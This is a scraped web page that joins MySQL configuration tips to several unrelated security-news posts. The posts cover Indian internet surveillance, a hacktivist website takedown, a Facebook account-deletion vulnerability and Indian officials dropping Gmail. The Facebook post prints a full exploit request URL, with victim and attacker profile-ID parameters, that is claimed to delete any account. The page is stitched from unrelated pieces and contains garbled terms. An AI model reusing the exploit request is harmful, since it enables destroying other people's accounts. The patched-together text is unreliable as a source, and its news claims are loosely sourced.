MySQL Tips & Tricks

MySQL Tips & Tricks


SHOW VARIABLES LIKE 'query_cache_size';
SET GLOBAL query_cache_size = 16777216;

So the moral of the story is this: If you have a busy server that's getting a lot of quick connections, set your thread cache high enough that the Threads_created value in SHOW STATUS stops increasing. Your CPU will thank you.

SELECT @@global.thread_cache_size;
SET GLOBAL thread_cache_size=40;

table_cache            = 1000
query_cache_limit = 1M
query_cache_size        = 64M

[mysqld]
innodb_data_home_dir = /ibdata
innodb_data_file_path=ibdata1:50M;ibdata2:50M:autoextend

Note
InnoDB does not create directories, so make sure that the /ibdata directory exists before you start the server. This is also true of any log file directories that you configure. Use the Unix or DOS mkdir command to create any necessary directories.

Make sure that the MySQL server has the proper access rights to create files in the data directory. More generally, the server must have access rights in any directory where it needs to create data files or log files.

Indian govt. secretly monitoring Internet traffic without ISP knowledge

Posted by: HNBulletin in INDIA, News, Special Reports 10 hours ago 0

United States in the news regarding the surveillance they do on their citizens, now The Indian government is reportedly carrying out Internet surveillance, in contrast with the government’s rules and notifications for ensuring communications privacy.
‘The Hindu‘ a well known Indian Newspaper website reveals “Lawful Intercept and Monitoring (LIM) systems have been deployed by the country’s Center for Development of Telematics (D-DOT) to monitor Internet traffic, e-mails, Web browsing, Skype and other Internet activities by Indian citizens.”
LIM is fully owned by the Indian government, unlike mobile operators deploy their own LIM system, allowing “interception” of calls by the government, only after checking “due authorisation” in compliance with Section 5(2) of the Indian Telegraph Act read with Rule 419(A) of the IT Rules, in the case of the Internet traffic, The Hindu reported.

Paper also explained that where LIM exists, the process of seeking authentication by nodal officers exists mostly on paper. Since LIM is fully owned by the government, it sends the request what they need and without any authentication they get the information from the Internet Pipe.
LIM installed between the edge router and core network, it has access to 100% of all Internet activity, with broad surveillance capability, based not just on IP or email addresses, URLs, fttps, https, telenet, or webmail, but even through a broad and blind search across all traffic in the Internet pipe using “key words” and “key phrases” and also has an “always live” link to the entire traffic, ‘Always live’ means  it can be operated without legal oversight of ISP knowledge.
According to the paper, This monitoring facility is available to nine security agencies including the IB, the RAW and the MHA.
On the other hand, India government Central Monitoring system also on trial and be fully operational in August 2014.
Also Read- Indian Government going to Expose privacy ; Will trace calls, chats, messages, location
You can follow a detailed report by The Hindu

Governance of India website taken down by hacker

Posted by: HNBulletin in Govt. Hacks, INDIA, Website Down 3 days ago 1 Comment

UPDATE: Embassy of India, Tehran website taken down by the same hacker.
Right now a hacker on twitter (@C0ldz3ro) claiming responsibility to take down one of the Indian Government website (http://indiagovernance.gov.in/).
Hacker tweeted about the Tangodown through it’s twitter account, which reads:

Governance of India http://indiagovernance.gov.in/  #TANGODOWN STOP MESSING WITH PEF AND FUCK YOUR LIES CC @OpKashmir_

Security researcher finds Vulnerability in Facebook which could delete any Facebook account but Facebook refuses to pay bounty

Posted by: HNBulletin in Ehraz Ahmed, Facebook Hacking, News, Security Researchers, Vulnerability 12 hours ago 0

A security researcher from INDIA named Ehraz Ahmed claims that he found a vulnerability by which anyone could use that to delete any Facebook account, he sent an email to us about his latest BUG.
Here is the complete process, he used to delete a facebook account:

Vulnerable Link: https://www.facebook.com/ajax/whitehat/delete_test_users.php? fb_dtsg=AQA1E-WE&selected_users[0]=[Victems Profile ID]&__user=[Attackers Profile ID]&__a=1 We can get the profile id by using http://graph.facebook.com/[username] Here [username] indicates the username of your facebook profile! In this Demo we will be using a test profile Name: Rahul Agnikotri https://www.facebook.com/hexgroup ( Victems profile) ( this is my test profile) We can remove any account in Facebook even it is of Mark Zuckerberg or any celebrity Attackers profile id = 1781913563 Victems profile id = 100001831297334 https://www.facebook.com/ajax/whitehat/delete_test_users.php? fb_dtsg=AQA1E-WE&selected_users[0]=100001831297334&__user=1781913563&__a=1

He also uploaded a Video Demonstration of this Vulnerability:

After Snowden’s revelation of NSA, Indian Govt. says No to Gmail for their official communication

Posted by: HNBulletin in INDIA, News, NSA PRISM, snowden, Special Reports 2 days ago 0

After the Snowden’s revealation of NSA, Indian Government seems to be under threat of being spied, according to an Indian newspaper website (TOI), Indian government will soon ask all its employees to stop using Google’s Gmail for official communication.

This is said to be a step to increase their security of confidential government information after revelations of widespread cyberspying by the US.

A Notification will be sent to 5,0000 Employees in which they will be ordered to change their email service providers such as Gmail that have their servers in the US, and instead asking them to stick to the officialemail service provided by India’s National Informatics Centre.

“Gmail data of Indian users resides in other countries as the servers are located outside. Currently, we are looking to address this in the government domain, where there are large amounts of critical data,” said J Satyanarayana, secretary in the department of electronics and information technology.

The latest revelations of Snowden disclose how US hit 231 cyber-attacks against Russia, Iran, and China and many of the disclosure already been made in past by him, which explain that the US government had direct access to large amounts of personal data on the internet such as emails and chat messages from companies like Google, Facebook and Apple through a programme called PRISM.